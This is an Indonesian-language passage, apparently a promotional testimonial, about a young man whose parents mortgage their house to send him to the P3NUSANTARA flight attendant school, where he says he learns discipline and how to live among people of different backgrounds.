seorang abdi negara (Anggota TNI), mengingat salah satu keahliannya yang mungkin masih ada korelasinya dengan ilmu bela diri yang dia tekuni yaitu Karate. Sayangnya di tahun itu, tidak ada pembukaan calon TNI dari jurusan IPS, semuanya saat itu mensyaratkan lulusan harus dari jurusan IPA. Diambang kebimbangannya tersebut, Mas Verry akhirnya memutuskan untuk berdiskusi dengan orang tuanya. Sebetulnya Mas Verry juga sempat mencoba untuk bisa masuk ke Sekolah Tinggi Intelejen Nasional (STIN). Namun ternyata orang tuanya tidak setuju dan justru mengarahkan mas Verry untuk memilih ke P3NUSANTARA. Meskipun mas Verry sudah menjelaskan bahwasannya biaya di P3NUSANTARA rasanya tidak terjangkau bagi mereka. Lagi-lagi ternyata orang tuanya justru menyanggupinya dengan mengambil pilihan yang sangat penuh risiko karena untuk memenuhi biaya pelatihan di P3NUSANTARA, orang tuanya sampai harus menggadaikan sertifikat rumahnya ke bank. Sesaat setelah uang dari hasil gadai sertifikat rumah tersebut cair, mereka langsung mentransfernya ke P3NUSANTARA melalui bank yang sama tempat dimana mereka menggadaikan sertifikatnya tersebut. Mungkin saat itu, orang tuanya mas Verry memiliki feeling tertentu dan meyakini bahwa kelak anaknya akan menjadi “sesuatu” di P3NUSANTARA. Tantangan Membangun Impian Sejak semasa sekolah, sejak kelas 10 SMA, setiap malam minggu dan malam hari libur lainnya, mas Verry selalu bekerja sambilan sebagai tukang parkir, demi menghasilkan uang jajan sendiri sekaligus hitung-hitung sedikit membantu meringankan beban orang tua. Dan setelah mas Verry lulus SMA, masih ada jeda waktu sekitar 3 bulanan sebelum jadwal masuk P3NUSANTARA dan pelatihan disana dimulai. Selama hampir 3 bulan menunggu tersebut mas Verry manfaatkan setiap harinya untuk jaga parkir buat ngumpulin uang jajan ketika nanti menjalani pelatihan di P3NUSANTARA. Dan ternyata pada saat hari keberangkatan ke Jogja segera tiba, orang tuanya tidak memiliki cukup biaya untuk mengantar mas Verry ke Jogja. Alhamdulillahnya dari uang parkir yang sudah mas Verry kumpulkan, Ia mampu membeli tiket bus untuknya sendiri, papa, mama dan adik ke Jogja bahkan sekaligus liburan dan silaturahmi ke keluarga di Nganjuk yang sudah lama mereka tidak bertemu dan bersilaturahmi. Sekolah Pramugari dan Aviasi Sesampainya di Jogja, masuk ke dalam asrama P3NUSANTARA mas Verry kembali merasa insecure. Sebelumnya, ketika sebelum berangkat ke Jogja, mas Verry sempat curhat dengan ibu Guru BK-nya perihal perasaannya yang merasa insecure tersebut. Syukurnya beliau tetap memberikan dukungannya kepada mas Verry. Mas Verry merasa bahwasannya di P3NUSANTARA dia adalah siswa yang fisiknya paling hitam, termasuk yang tinggi badannya pendek sementara siswa-siswa yang lainnya tampak tinggi menjulang. Tapi ternyata bukan hanya mas Verry yg merasa insecure. Banyak siswa lain yang juga memiliki ke-insecure-an-nya masing-masing. Seiring berjalannya waktu, mas Verry semakin menyadari, bahwa ternyata apa yang diajarkan dan diberikan oleh P3NUSANTARA tidak hanya sekedar teori ataupun materi-materi penerbangan (dunia aviasi) atau hanya tentang bagaimana caranya menjadi pramugara, tetapi lebih diajarkan BAGAIMANA MENJADI MANUSIA. Suara mas Verry terdengan gemetar karena merasa merasa terharu ketika menceritakan ini. Menurut mas Verry, di P3NUSANTARA diajarkan bagaimana hidup bersama-sama membaur dengan orang-orang yang jauh berbeda latar belakang adat, budaya/culture, karakter & agama. Sangat banyak dan beraneka ragam perbedaan yg dijadikan 1 di dalam asrama P3NUSANTARA. Memaksa mereka untuk masing-masing saling mengerti orang lain, menempa rasa, menurunkan ego, mengasah kepekaan, menyelesaikan konflik yang pada akhirnya justru menjadikan mereka semakin erat sebagai saudara/keluarga. Selain itu ada beberapa kebiasaan baik yang juga diajarkan di P3NUSANTARA, diantaranya adalah Wajib bangun pagi, diajarkan untuk puasa senin kamis.

Read More »